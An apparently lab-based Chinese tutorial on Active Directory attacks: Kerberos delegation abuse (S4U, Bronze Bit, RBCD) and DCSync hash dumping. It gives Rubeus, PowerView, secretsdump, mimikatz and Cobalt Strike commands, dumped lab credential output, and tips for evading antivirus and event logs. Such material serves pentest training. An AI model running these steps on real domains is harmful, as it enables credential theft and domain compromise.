Rubeus.exe s4u /self /impersonateuser:<impersonate user name> /ticket:<Base64 TGT | tgtFile> /nowrap

可以查看返回的 TGS 中 ServiceName 不是 CIFS,无法访问 C Shell。

Rubeus.exe describe /ticket:<Base64 TGT | tgtFile>

这时 TGS 中 SPN 可以使用 /altservice 修改为 CIFS 服务,以获取 C Shell 访问权限。

Rubeus.exe tgssub /altservice:cifs/<Domain> /ticket:<Base64 TGS> /ptt

需要看 S4U2self abuse 以了解如何通过机器账户 TGT 配合 altservice 获取机器权限:

CVE-2020-17049: Kerberos Bronze Bit Attack

当约束委派和基于资源的约束委派被设置以下配置,S4U2self 获得的 ST 是不可转发的:

  • Service 1 约束委派配置的是 "仅使用 Kerberos"。除了这条其他的都适用于 RBCD。
  • 用户在 Protected Users 组内。
  • 用户被设置 "Account is sensitive and cannot be delegated"。

一旦 ST 中的 Forwardable 是 0,后续 S4U2proxy 肯定无法得到 Service 2 的 ST。

Jake Karnes 则发现 ST 中的 Forwardable 没放在 PAC 里的,因此不受签名保护,而且 ST 使用服务账户 Service 1 哈希加密,由于我们知道 Service 1 的密码,所以可以篡改。

Rubeus 添加了 /bronzebit 选项来利用。和上面正常利用流程区别不大,先获取 AES1-CTS-HMAC-SHA96-1 加密的哈希

mimikatz sekurlsa::ekeys

请求一张 TGT。

Rubeus.exe asktgt /user:<Username> /aes256:<AES Hash> /nowrap

使用 /user 用户的 /ticket TGT 发送 S4U2self 请求以 /impersonateuser 用户身份获取当前服务 /user 的 ST。这里通过 /bronzebit 选项使用 /aes256 的密钥将 Forwardable 改为 1,再通过 S4U2proxy 发送给 KDC 以获取 /msdsspn 服务的 ST。

Rubeus.exe s4u /ticket:<Base64 | tgtFile> /impersonateuser:<impersonate user name> /msdsspn:SERVICE/SERVER /bronzebit /aes256:HASH /ptt

基于资源的约束委派⚒️

缺少一张基于资源的约束性委派过程图

这里还是以 Service 1 和 Service 2 举例。以前约束性委派是在 Service 1 上配置 msDS-AllowedToDelegateTo 属性,其值对应 SPN,这些 SPN 是在委派访问的范围内,这里设置的是 Service 2。而基于资源的约束性委派则相反,则是在要访问的资源 Service 2 上配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,值是 SID——设置的是 Service 1,只有这些 SID 对应服务能被委派访问 Service 2 自己。

这里安全风险是,Service 1 被拿下权限,并且有权修改 Service 2 的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,就可以在 Service 2 上配置 Service 1 的 SID,使用 Service 1 凭证访问 Server 2 服务。

假设目前有这样一个场景,已经拿下一台办公机 Service 1,通过查询发现目标环境使用固定域账户 join 将办公机加入域,我们又知道 join 账户凭证,那么就可以拿下使用 join 账户加入域的所有机器权限。

这是因为用域账户把机器加入域后会自动的创建机器账户,或使用域账户主动创建的机器账户,它的 mS-DS-CreatorSID 属性值是创建人 SID——通过 SidToUser 和 PowerView 查询域账户的 objectSid 就能找到创建人(测试了用域管理员 administrator 加入则不存在此属性),而创建人有权编辑 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。

除了创建人自己还有谁有 msDS-AllowedToActOnBehalfOfOtherIdentity 编辑权限?梳理如下:

  • 域管理员
  • 机器账户自己
  • 创建机器的域账户

既然 join 可以控制加入域后自动创建的机器账户 msDS-AllowedToActOnBehalfOfOtherIdentity 属性,那么使用 Service 1 上的域账户创建个机器账户 eval,Service 2 上配置 eval 机器账户 SID,通过 eval 机器账户凭证获取 Service 2 的 CIFS 服务 ST,就能访问机器 C$。

下面展示通用的利用过程。

1.获取 SPN 账户凭证

拿下一个设置了 SPN 的域账户权限,参考约束委派利用小节拿到 TGT,如果没有,可以通过域账户创建机器账户设置 SPN。这里将拿下的 SPN 账户称作 Service 1。

使用 PowerMad 创建机器账户。但是创建的机器账户也是有上线数量的,域账户 ms-DS-MachineAccountQuota 属性默认值是每个域用户用户最多创建 10 个机器账户,达到 10 个后要想创建只有把以前的机器账户删掉,管理员账户则不受限制。这也就是为什么很多加域使用的账户是管理员。

New-MachineAccount -MachineAccount <Machine Account Name> -Password $(ConvertTo-SecureString '<Password>' -AsPlainText -Force)

使用 PowerView 获取机器账户 SID。

Get-NetComputer -Identity <Account Name> | Select objectsid

2.配置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性

找到能够对 Service 2 有 msDS-AllowedToActOnBehalfOfOtherIdentity 属性写入权限的用户,这些操作权限如下:

  • GenericAll
  • GenericWrite
  • WriteDacl
  • WriteProperty

拿下这个账户权限,将 msDS-AllowedToActOnBehalfOfOtherIdentity 值设置为 Service 1 的 SID。注意在设置前要记录下原始值,后续利用完成要恢复。

# 获取 Service 1 的 SID。
$ComputerSID = Get-DomainComputer <Service 1 Accountname> -Properties objectsid | Select -Expand objectsid

# 创建安全标识符
$RawSd = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))";

# 获取二进制数据
$RawSdBytes = New-Object byte[] ($RawSd.BinaryLength);
$RawSd.GetBinaryForm($RawSdBytes, 0);

# 给 Service 2 配置 RBCD。值是 Service 1 的 SID。
Get-DomainComputer -Identity <Service 2 Account Name> | Set-DomainObject -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity' = $RawSdBytes} -Verbose

SID 设置完成验证下是否设置正确。

Get-NetComputer -Identity <Service 2 Account Name> -Properties msds-allowedtoactonbehalfofotheridentity

3.获取 Service 2 的 ST

通过 Service 1 获取 Service2 的 ST,最后导入内存访问服务。

这里分配置了约束委派和没配置约束委派就但有机器账户这两种情况。这里先看使用机器账户如何获取,机器账户没配置约束委派怎么发送 S4U2self 呢?其实一个账户只要有 SPN 就可以发起 S4U2self,域账户可以主动配置 SPN,而机器账户在创建后会存在默认的 SPN,所以能使用 S4U2self。

获取 Service 2 的 ST 方法很多种,当然你可以像约束委派小节写的那样通过 TGT 获取。这里采用机器账户密码哈希来发起认证。

Rubeus.exe hash /user:<Machine Account Name> /password:<Password> /domain:<Domain Name>

发起 S4U2self 和S4U2proxy 获取 Service 2 的 ST。这里的密码哈希看选择的是什么类型,就选择对应选项。

Rubeus.exe s4u /user:<Machine Account Name> /rc4:<Hash> /impersonteuser:<要模拟的用户> /msdspn:<Service 2 SPN> /ptt

Service 1 是个机器账户没有配置约束性委派,msDS-AllowedToDelegateTo 属性值为空,S4U2self 获取的 ST 不可转发。那不可转发的 ST 后续 S4U2proxy 在正常的约束性委派中是获取不到 Service 2 的 ST,但基于资源的约束性委派却不受限制能获取。

如果要模拟的账户和约束委派一样是受保护的,也是可以用 Bronze Bit Attack 去绕过 ST 禁止转发限制。

Rubeus.exe s4u /user:<Machine Account Name> /rc4:<Hash> /impersonteuser:<要模拟的用户> /msdspn:<Service 2 SPN> /bronzebit /ptt

4.利用完成恢复配置

如果原本就没配置,可清除 msds-allowedtoactonbehalfofotheridentity 属性值,或是设置回原来的值。

Get-DomainComputer -Identity <Service 2 Account Name> | Set-DomainObject <Account Name> -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose

2022 年 Jame Forshaw 也提出可以不用机器账户,使用普通域账户也能发送 S4U2self。https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html

3.10 DCSync(Domain Controller Synchronization)

DCSync 这个词来源是 2015.8.11 Benjamin Delpy 在 Twitter 晒出 DCSync 新功能,可以不需要命令行交互就能远程同步 ntds.dit 哈希。下面对这项技术背景做个介绍。

在域树下,其中某一台域控 A 数据库有改动后,默认情况下会在 15 秒主动向其他域控发起数据变化的通知(一些紧急操作则不会等待 15 秒,比如账户锁定和密码更改,没有紧急操作默认一个小时同步一次),其他域控收到通知后如果想要同步数据,会通过 DRS(Directory Replication Service)Remote Protocol,向域控 A 发起 GetNCChanges 同步数据的请求,在 GetNCChanges 响应中返回数据,如果数据太多,可能会发多个请求来完成获取数据。但同步有个例外,在 RODC 域控(在域控安装的时候就让你选择是作为子域还是只读)上只能 RODC 去复制其它域控,它自身的数据不能被复制。更详细的 Active Directory Replication 内容可以读戴有煒写的《Windows Server 2022 Active Directory建置實務》第九章 “AD DS 資料庫的複寫” 来做实验,我们重点不在运维,就不花时间过多介绍。

同步数据也是需要权限验证的,不然谁都能同步岂不是数据泄露了?默认情况下 Administrators,Domain Admins,Enterprise Admins 的域账户和 Domain Controllers 组内的机器账户有同步权限。再具体点是账户有 “复制目录更改” 和 “复制目录更改全部” 这两个权限就可以同步,不像网上说的必须设置 “复制过滤集中的⽬录更改权限”,这个权限说是在特殊场景下会用,也许是前两个权限都设置了但是还是没法同步才可能会用到,这点没有找到具体解释。

这三个同步权限在 ACE 是以 GUID 来呈现的,后续利用中会用到,这里需要眼熟下。

CN (Common Name)Display-NameRights-GUID
DS-Replication-Get-Changes复制⽬录更改(Replication Directory Changes)1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-All复制⽬录更改全部(Replication Directory Changes All)1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
DS-Replication-Get-Changes-In-Filtered-Set复制过滤集中的⽬录更改(Replication Directory Changes In Filtered Set)89e95b76-444d-4c62-991a-0facbeda640c

一、常见利用方式

假设管理员误操作打开 “Active Directory 用户和计算机” 或 “ADSI 编辑器” 找到当前这个域,右键属性,给普通域用户 svc-joindomain 添加 “复制⽬录更改” 和 “复制⽬录更改全部” 权限。

手动添加同步权限.png

我们在内网可以用下面几种方式探测 raingray.com 域中哪些账户有 DCSync 权限。但是最好还是自己把这个定向查询需求实现出来,避免杀软查杀这些工具。

PS C:\Users\zhangqi\Desktop> # 步骤一:获取 raingray.com 哪些用户具有同步权限
PS C:\Users\zhangqi\Desktop> Get-ObjectAcl -Identity "DC=raingray,DC=com" -ResolveGUIDs | Where-Object {$_.ObjectAceType -match "ds-replication-(get-changes|get-changes-all)"} | Select-Object SecurityIdentifier -Unique

SecurityIdentifier
------------------
S-1-5-21-247606177-2237963610-2667746150-1106
S-1-5-21-247606177-2237963610-2667746150-498
S-1-5-21-247606177-2237963610-2667746150-516
S-1-5-32-544
S-1-5-9

PS C:\Users\zhangqi\Desktop> # 步骤二:直接通过 SID 查询出用户名和权限
PS C:\Users\zhangqi\Desktop> $sid = "S-1-5-21-247606177-2237963610-2667746150-1106"; $hash = @{}; Get-NetUser | ForEach-Object { $hash[$_.objectsid] = $_.userprincipalname }; Get-ObjectAcl -Identity "DC=raingray,DC=com" -ResolveGUIDs | Where-Object { $_.SecurityIdentifier -eq $sid } | ForEach-Object { [PSCustomObject]@{ Name = $hash[$sid]; ObjectAceType = $_.ObjectAceType } }

Name                        ObjectAceType
----                        -------------
svc-joindomain@raingray.com DS-Replication-Get-Changes
svc-joindomain@raingray.com DS-Replication-Get-Changes-All
svc-joindomain@raingray.com Computer

只要确认了 SID 就可以查询对应权限和用户名,这是步骤二的分解查询步骤。

PS C:\Users\zhangqi\Desktop> # 步骤二动作拆分一:确认 SID 是否两个权限都有。
PS C:\Users\zhangqi\Desktop> Get-ObjectAcl -Identity "DC=raingray,DC=com" -ResolveGUIDs | ? {$_.SecurityIdentifier -match "S-1-5-21-247606177-2237963610-2667746150-1106"} | Select-Object -ExpandProperty ObjectAceType
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
Computer

PS C:\Users\zhangqi\Desktop> # 步骤二动作拆分二:确认这个 SID 用户名是什么
PS C:\Users\zhangqi\Desktop> Get-NetUser | Where-Object { $_.objectsid -eq "S-1-5-21-247606177-2237963610-2667746150-1106" } | Select-Object -ExpandProperty userprincipalname
svc-joindomain@raingray.com

通过查询域中所有用户的权限,确认了域账户 svc-joindomain@raingray.com 存在同步哈希的权限。目前只要获取此账户的凭证 NT hahs 或者明文密码就可以同步与中所有哈希,下面使用 impacket-secretsdump、mimikatz、Cobal Strike 工具中来演示如何获取 hash。

1.Impacket

只要目标开放了 445,就可以用 impacket-secretsdump 发起 DCSync。

// 通过明文账户导出 ntds 中的所有用户 NT hash
secretsdump username:pass@dc-ip -just-dc-ntlm
secretsdump -hashs :NThash username@dc-ip -just-dc-ntlm

// 通过明文账户导出 ntds 中导出指定账户 NT hash
secretsdump username:pass@dc-ip -just-dc-user krbtgt
secretsdump -hashs :NThash username@dc-ip -just-dc-user krbtgt

// 通过明文账户导出 ntds 中导出指定账户 NT hash,包括历史 hash
secretsdump username:pass@dc-ip -just-dc-user krbtgt
secretsdump -hashs :NThash username@dc-ip -just-dc-user krbtgt -history

如果目标账户特别多那么导出就是一行一行的往外冒,本来挂着 Socks 就慢,假如网络中断,只能从头再读。从操作安全的角度来看,每读取一个用户的数据都会产生网络流量和系统事件日志,一条用户数据大概会记录三条 ID 为 4662 的事件日志,所以实战中最好就只读管理员账户 hash,如 administrator 去登录 RDP 获取 NTDS 数据库,或者拿 krbtgt NT Hash 做黄金票据横向。

普通账户 svc-joindomain 演示读取全部账户和指定账户 hash。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-secretsdump svc-joindomain@192.168.37.1 -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a1ced034321b4d9c4a273de3f2b8e92:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a745d3348cdce010cc3e2ca0b1fbb79f:::
raingray.com\svc-joindomain:1106:aad3b435b51404eeaad3b435b51404ee:800e2ee66237874a29f607d911a4a0f3:::
raingray.com\zhangqi:1107:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589:::
raingray.com\wusilin:1113:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589:::
DC-BEIJING-01$:1000:aad3b435b51404eeaad3b435b51404ee:655181357996ec7f2d2da5c15b694a7f:::
PC-01$:1109:aad3b435b51404eeaad3b435b51404ee:f7e237cd535c5b106df138da92ff9c21:::
PC-02$:1110:aad3b435b51404eeaad3b435b51404ee:4362363dfa0a585ca6ba884e28c16741:::
ADDMACHINEACCOUNT$:1114:aad3b435b51404eeaad3b435b51404ee:e74cb59c02413d9051845a8ade17d7d0:::
[*] Cleaning up... 

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-secretsdump svc-joindomain@192.168.37.1 -just-dc-user krbtgt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a745d3348cdce010cc3e2ca0b1fbb79f:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7
krbtgt:aes128-cts-hmac-sha1-96:db9ae467c7901c53bccadc6a8d96cb8f
krbtgt:des-cbc-md5:f8202cbcc79ea4bc
[*] Cleaning up...

域控机器账户 DC-BEIJING-01$ 演示读取全部账户 hash。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-secretsdump -hashes :655181357996ec7f2d2da5c15b694a7f DC-BEIJING-01\$@192.168.37.1
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a1ced034321b4d9c4a273de3f2b8e92:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a745d3348cdce010cc3e2ca0b1fbb79f:::
raingray.com\svc-joindomain:1106:aad3b435b51404eeaad3b435b51404ee:800e2ee66237874a29f607d911a4a0f3:::
raingray.com\zhangqi:1107:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589:::
raingray.com\wusilin:1113:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589:::
DC-BEIJING-01$:1000:aad3b435b51404eeaad3b435b51404ee:655181357996ec7f2d2da5c15b694a7f:::
PC-01$:1109:aad3b435b51404eeaad3b435b51404ee:f7e237cd535c5b106df138da92ff9c21:::
PC-02$:1110:aad3b435b51404eeaad3b435b51404ee:4362363dfa0a585ca6ba884e28c16741:::
ADDMACHINEACCOUNT$:1114:aad3b435b51404eeaad3b435b51404ee:e74cb59c02413d9051845a8ade17d7d0:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:8038b1423644095a570df5f6f1f7447b20623dc549dd8b28447bf6c6d501c382
Administrator:aes128-cts-hmac-sha1-96:0c63c71378e3b084c958546e68f35398
Administrator:des-cbc-md5:40204a450ee964ce
krbtgt:aes256-cts-hmac-sha1-96:0649170e427cb847522fbe0ea8780e15f8c67fa94d862f7fbed262f1d65a5ef7
krbtgt:aes128-cts-hmac-sha1-96:db9ae467c7901c53bccadc6a8d96cb8f
krbtgt:des-cbc-md5:f8202cbcc79ea4bc
raingray.com\svc-joindomain:aes256-cts-hmac-sha1-96:459bfe32b5e94ebcc9458131ee761ce800c20c5163eb8e0d9c0d182d7883f570
raingray.com\svc-joindomain:aes128-cts-hmac-sha1-96:3ef97a4ea26e22c2e2dd47cb22212f20
raingray.com\svc-joindomain:des-cbc-md5:bc1c866143ad98ef
raingray.com\zhangqi:aes256-cts-hmac-sha1-96:3f1d6a42e7ff77dd80c055ad886b06d925f643685ad93d4dbfe61a2cce5b5aed
raingray.com\zhangqi:aes128-cts-hmac-sha1-96:d712b625c30a57ea05a0d13318a147b6
raingray.com\zhangqi:des-cbc-md5:fef2b967df4a8f01
raingray.com\wusilin:aes256-cts-hmac-sha1-96:f1cf13d8455c88fecd3a944dced53015516e2a98fd783767745ffb2562f8bf59
raingray.com\wusilin:aes128-cts-hmac-sha1-96:5bf92a2c72ac9062ad468c7b2338385c
raingray.com\wusilin:des-cbc-md5:cdfb0eef0d7a6dba
DC-BEIJING-01$:aes256-cts-hmac-sha1-96:525fea2b4b84d07ab7b2f1326d60c39ca3e71d4c827d9a1cb54bde8a17c4eeca
DC-BEIJING-01$:aes128-cts-hmac-sha1-96:7e376590e7777d1a5c1717499341ed64
DC-BEIJING-01$:des-cbc-md5:a219851537f2ec76
PC-01$:aes256-cts-hmac-sha1-96:40fb09c11082c5e2810b0a8a915715cb1dd9cca2d481739d57a36f3f6bd3e775
PC-01$:aes128-cts-hmac-sha1-96:a6d1acc4e7b45604c8aff4bcdee623e7
PC-01$:des-cbc-md5:f1492c31bc6d52f2
PC-02$:aes256-cts-hmac-sha1-96:f006d89ffdb97308670b1f475fc8efacae5f78b530e580b828b50f229828556e
PC-02$:aes128-cts-hmac-sha1-96:7e9f5d0cc98d1b62f1398667ae5f0d27
PC-02$:des-cbc-md5:08d35791ad043876
ADDMACHINEACCOUNT$:aes256-cts-hmac-sha1-96:1646c0df37166d5d1534261f50d48c5065c1c8f712841ccf0e71aec02b3641f3
ADDMACHINEACCOUNT$:aes128-cts-hmac-sha1-96:66d3930c969e46db87f5718257ac764b
ADDMACHINEACCOUNT$:des-cbc-md5:4983688991076ea7
[*] Cleaning up...

还可以复制出账户历史 hash,如果能撞出明文,可以对我们观察密码习惯有帮助,实在不行也可以用来喷洒。但是使用过程中尤其要慎重,最好导出指定用户的历史 hash,因为机器账户每 30 天都会自动更改密码,在一个大型域中,这样输出全部的 hash 可能导致输出信息爆炸。

┌──(kali㉿kali)-[~/Desktop]
└─$ impacket-secretsdump svc-joindomain@192.168.37.1 -just-dc-ntlm -history      
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:7a1ced034321b4d9c4a273de3f2b8e92:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a745d3348cdce010cc3e2ca0b1fbb79f:::
raingray.com\svc-joindomain:1106:aad3b435b51404eeaad3b435b51404ee:800e2ee66237874a29f607d911a4a0f3:::
raingray.com\svc-joindomain_history0:1106:aad3b435b51404eeaad3b435b51404ee:5910bc93b6bbc9314fb17fb9b5975106:::
raingray.com\svc-joindomain_history1:1106:aad3b435b51404eeaad3b435b51404ee:800e2ee66237874a29f607d911a4a0f3:::
raingray.com\zhangqi:1107:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589:::
raingray.com\zhangqi_history0:1107:aad3b435b51404eeaad3b435b51404ee:00affd88fa323b00d4560bf9fef0ec2f:::
raingray.com\wusilin:1113:aad3b435b51404eeaad3b435b51404ee:8faf590241a5d5ed59fb80eb00440589:::
DC-BEIJING-01$:1000:aad3b435b51404eeaad3b435b51404ee:655181357996ec7f2d2da5c15b694a7f:::
DC-BEIJING-01$_history0:1000:aad3b435b51404eeaad3b435b51404ee:eef3f436bfa43240e657bc6374bd8cde:::
DC-BEIJING-01$_history1:1000:aad3b435b51404eeaad3b435b51404ee:d2af46a4e1e494c7ab25d0cc30368358:::
DC-BEIJING-01$_history2:1000:aad3b435b51404eeaad3b435b51404ee:1f995c6fb8b5976b1c601d1afb38fd86:::
PC-01$:1109:aad3b435b51404eeaad3b435b51404ee:f7e237cd535c5b106df138da92ff9c21:::
PC-01$_history0:1109:aad3b435b51404eeaad3b435b51404ee:4d64a5ac4880c6f142c2fdcdfff486d8:::
PC-01$_history1:1109:aad3b435b51404eeaad3b435b51404ee:5dc29c26970247a85c5cc56556edcf69:::
PC-01$_history2:1109:aad3b435b51404eeaad3b435b51404ee:8769cb40c7f80338c834a7665dab9b77:::
PC-02$:1110:aad3b435b51404eeaad3b435b51404ee:17f7eb83b047c1315a8e368dc1466a02:::
PC-02$_history0:1110:aad3b435b51404eeaad3b435b51404ee:4362363dfa0a585ca6ba884e28c16741:::
PC-02$_history1:1110:aad3b435b51404eeaad3b435b51404ee:26a9dff54ad832a4dcbe380202c6baa6:::
PC-02$_history2:1110:aad3b435b51404eeaad3b435b51404ee:eb4816222482c71c75e635d11d32e7db:::
PC-02$_history3:1110:aad3b435b51404eeaad3b435b51404ee:a8830ef519b73028d964e7e1db79539f:::
ADDMACHINEACCOUNT$:1114:aad3b435b51404eeaad3b435b51404ee:e74cb59c02413d9051845a8ade17d7d0:::
[*] Cleaning up... 

使用域控的机器账户去同步只有账户认证的日志,没有 4662 事件记录,这样就可以避免大批量同步用户产生大量的事件记录,获取机器账户 hash 最多产生 3 条 4662 的事件日志,唯一的缺点是网络流量上没法规避。

不过机器账户 30 天改一次随机密码,怎么能确保我一直能拿到这个机器账户 hash 呢?尝试目前想到的方案是先导出 krbtgt hash(产生 3 条 4662 的事件日志),接着通过黄金票据伪造 Administrator TGT,通过 Administrator 修改域控机器账户密码(产生 1 条 4724 日志)。

2.Mimikatz

必须传到有权限 DCSync 权限的机器上运行,或者有目标账户的 NT hash 就 PtH 运行。这样才能以当前账户权限同步哈希。相比 impacket 远程读取速度会快,不中断。

// 导出所有 NT hahs
mimikatz lsadump::dcsync /domain:<FQDN> /all /csv

// 导出指定账户 NT hash
mimikatz lsadump::dcsync /domain<FQDN> /user:<name>

导出所有 NT hahs 以 CSV 格式展示。

C:\mimikatz_trunk\x64>whoami
raingray\svc-joindomain

C:\mimikatz_trunk\x64>mimikatz "lsadump::dcsync /domain:raingray.com /all /csv" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /domain:raingray.com /all /csv
[DC] 'raingray.com' will be the domain
[DC] 'DC-BEIJING-01.raingray.com' will be the DC server
[DC] Exporting domain 'raingray.com'
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
502     krbtgt  a745d3348cdce010cc3e2ca0b1fbb79f        514
1114    ADDMACHINEACCOUNT$      e74cb59c02413d9051845a8ade17d7d0        4096
1113    wusilin 8faf590241a5d5ed59fb80eb00440589        66048
1000    DC-BEIJING-01$  655181357996ec7f2d2da5c15b694a7f        532480
1106    svc-joindomain  800e2ee66237874a29f607d911a4a0f3        66048
1107    zhangqi 8faf590241a5d5ed59fb80eb00440589        66048
1110    PC-02$  17f7eb83b047c1315a8e368dc1466a02        4096
1109    PC-01$  5158e6387f8d35d200f760645d285f82        4096
500     Administrator   7a1ced034321b4d9c4a273de3f2b8e92        66048

mimikatz(commandline) # exit
Bye!

导出指定用户 hash。

C:\mimikatz_trunk\x64>mimikatz "lsadump::dcsync /domain:raingray.com /user:administrator /csv" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /domain:raingray.com /user:administrator /csv
[DC] 'raingray.com' will be the domain
[DC] 'DC-BEIJING-01.raingray.com' will be the DC server
[DC] 'administrator' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)
500     Administrator   7a1ced034321b4d9c4a273de3f2b8e92        66048

mimikatz(commandline) # exit
Bye!

Mimikatz 也可以显示历史 hash,只需要把 /csv 展示格式取消,以默认格式显示即可。可以看到 Credentials 中编号 ntlm- 0 是最新的数据,ntlm- 1 是以前的密码,还有对应新旧 AES Key 也会展示出来。

C:\mimikatz_trunk\x64>mimikatz "lsadump::dcsync /domain:raingray.com /user:zhangqi" exit

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # lsadump::dcsync /domain:raingray.com /user:zhangqi
[DC] 'raingray.com' will be the domain
[DC] 'DC-BEIJING-01.raingray.com' will be the DC server
[DC] 'zhangqi' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : zhangqi

** SAM ACCOUNT **

SAM Username         : zhangqi
User Principal Name  : zhangqi@raingray.com
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2023/11/28 22:55:37
Object Security ID   : S-1-5-21-247606177-2237963610-2667746150-1107
Object Relative ID   : 1107

Credentials:
  Hash NTLM: 8faf590241a5d5ed59fb80eb00440589
    ntlm- 0: 8faf590241a5d5ed59fb80eb00440589
    ntlm- 1: 00affd88fa323b00d4560bf9fef0ec2f
    lm  - 0: 7cfce56b039c5f37038ece399bce5839
    lm  - 1: b03fd41041e4704eacc903bf757d467b

Supplemental Credentials:
* Primary:NTLM-Strong-NTOWF *
    Random Value : 85e1d0a9e378aed88861d18747bf3d62

* Primary:Kerberos-Newer-Keys *
    Default Salt : RAINGRAY.COMtest
    Default Iterations : 4096
    Credentials
      aes256_hmac       (4096) : 3f1d6a42e7ff77dd80c055ad886b06d925f643685ad93d4dbfe61a2cce5b5aed
      aes128_hmac       (4096) : d712b625c30a57ea05a0d13318a147b6
      des_cbc_md5       (4096) : fef2b967df4a8f01
    OldCredentials
      aes256_hmac       (4096) : 23b1e2e39582e586362572d6421f6db37cf6548e8285a2966f208a8bb026f63a
      aes128_hmac       (4096) : 33a567a434aa5f87dc971d471a9869d8
      des_cbc_md5       (4096) : 2c6894203126192f

* Primary:Kerberos *
    Default Salt : RAINGRAY.COMtest
    Credentials
      des_cbc_md5       : fef2b967df4a8f01
    OldCredentials
      des_cbc_md5       : 2c6894203126192f

* Packages *
    NTLM-Strong-NTOWF

* Primary:WDigest *
    01  925fc8227040fc73568e16512d4ddac8
    ......

mimikatz(commandline) # exit
Bye!

3.Cobalt Strike

Cobalt Strike Beacon 命令从 ntds.dit 提取当前域控域名为 <Domain> 哈希,输出到 csv 文件。

beacon> mimikatz lsadump::dcsync /domain:<Domain> /all /csv

获取当前域 <Domain> 中用户名为 <Username> 的哈希。

beacon> mimikatz lsadump::dcsync /domain:<Domain> /user:<Username>

查看所有用户详细信息。

beacon> mimikatz lsadump::lsa /inject

二、后续攻击路径

1.离线导出 ntds 数据库获取 NT hash

拿到管理账户 NT hash 后 wmiexec 拿 Shell,也不是非得 wmiexec,而是要看目标开放哪个端口就用哪个工具:

  • wmiexec 135
  • smbexec 445
  • psexec 一般不用,会创建服务,通常用来把 Administrator 本地提权到 system,psexec -accepteula -s cmd,这条命令会弹出 SYSTEM 权限的 cmd 窗口。

